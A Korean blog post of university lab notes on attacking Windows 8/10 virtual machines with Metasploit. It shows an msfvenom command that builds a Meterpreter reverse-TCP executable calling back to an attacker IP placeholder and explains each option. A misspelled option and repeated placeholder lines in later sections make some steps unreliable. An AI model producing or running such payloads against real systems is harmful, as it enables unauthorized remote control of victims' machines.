[모의 해킹] 윈도우8/윈도우10 OS 침투 작업

! 이 포스트의 내용은 전공 강의에서 다룬 리눅스 보안 실습의 기록용이며, 이는 학습 목적으로만 사용되어야 합니다.

! 어떠한 경우에도 이러한 기술을 악용하거나 불법적인 활동에 사용해서는 안 됩니다.

 

! 모의 해킹과 관련된 실습은 합법적인 환경에서만 수행되어야 하며, 무단으로 다른 사람의 시스템에 접근하는 등의 행위는 법적인 문제로 이어질 수 있습니다. 이러한 기술을 사용할 때에는 항상 윤리적인 책임을 갖고 행동해야 합니다.

 

 

---

 

📝 실습 전 용어 정리 

  · Reverse TCP

   - (연결 시작 주체) 공격 대상 시스템이 연결을 시작

   - (연결 방향) 공격자는 Meterpreter를 실행하는 동안 자신의 시스템에서 연결을 대기

 

  · Bind TCP

   - (연결 시작 주체) 공격자가 연결을 시작

   - (연결 방향) 공격자의 시스템에서 공격 대상 시스템으로의 연결

 

---

•  실습 환경
  • (가상 환경 VMware Workstation
  • (공격자 PC) Kali Linux
  • (공격 대상 PC) Windows 8

---

01. reverse 악성코드를 사용한 windows 8 해킹

  01-01. 공격자 PC 환경설정

---

  01-02. msfvenom 명령어로 악성코드 파일 생성

    - reverse 악성코드 파일 생성

~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[공격자 IP] -f exe -o [파일 이름.exe]

 

  * 이 명령은 Meterpreter를 사용하여  Windows 시스템의 64비트 아키텍처를 대상으로 하는 reverse TCP 연결을 설정하는 페이로드를 생성하고, 해당 페이로드를 실행 가능한 파일로 저장한다. 이 파일은 공격자가 설정한 LHOST(공격자 IP)로부터 Meterpreter 셸에 접근하기 위해 사용될 수 있다.

 

  명령어 각 옵션의 역할은 다음과 같다.

 

  ' -p windows/x64/meterpreter/reverse_tcp '

    - 이 옵션은 생성하련는 페이로드의 유형을 지정

    - 여기서는 Meterprter 셸을 사용하여 Windows 시스템에 대한 reverse TCP 연결을 설정하는 페이로드를 생성하려는 것임

  ' LHOST=[공격자  IP] '

    - 이 옵션은 공격자가 연결을 기다리는 IP 주소를 지정

    - 여기서는 Meterpreter가 연결되기 위해 공격 대상 시스템이 연결해야 하는 IP 주소, 즉 공격자 IP 주소를 제공해야 함

  ' -f exe '

    - 이 옵션은 생성된 파일의 형식을 지정

    - 여기서는 실행가능한 Windows 응용 프로그램(.exe)파일 형식을 선택함

  ' -o [파일 이름.exe] '

    - 이 옵션은 생성된 페이로드 파일의 이름과 경로를 지정

 

~# dpkg --add-archit3cture i386
~# apt-get update
~# apt-get install wine32

 

  * 이 명령은 Linux 시스템에서 Wine을 설치하기 위한 단계이다. Wine은 Linux 및 다른 유닉스 계열 운영 체제에서 Windows 응용 프로그램을 실행할 수 있ㄱ데 해주는 호환성 계층이다. 

 

  아래는 각 명령어의 설명이다.

 

  ' dpkg --add-architecture i386 '

    - 이 명령어는 시스템 아키텍처에 i386 아키텍처를 추가

    - 이것은 32 비트 응용 프로그램을 실행하기 위해 필요한 32 비트 라이브러리를 설치하는 데 도움이 됨

    

  ' apt-get update '

    - 패키지 업데이트

 

  ' apt-get install wine32 '

    - Wine의 32 비트 버전 설치

    - 위에서 추가한 i386 아키텍처를 기반으로 Wine을 설치하기 때문에 32비트 Windows 응용 프로그램을 실행할 수 있게 함

 

 

 

---

02. reverse 악성코드를 사용한 windows 10 해킹

  02-01. 공격 대상 PC 환경설정

    - 윈도우 10 방화벽 모두 끄기

---

  02-02. msfvenom 명령어로 악성코드 파일 생성

    - 01-02와 동일한 방식으로 악성코드 생성

---

  02-03. Metasploit 사용하여 reverse 공격 명령어 실행

    - 01-02와 동일한 방식으로 악성코드 생성

---

  02-04. Windows에서 악성코드 파일 실행 후 공격 수행

    - 01-02와 동일한 방식으로 악성코드 생성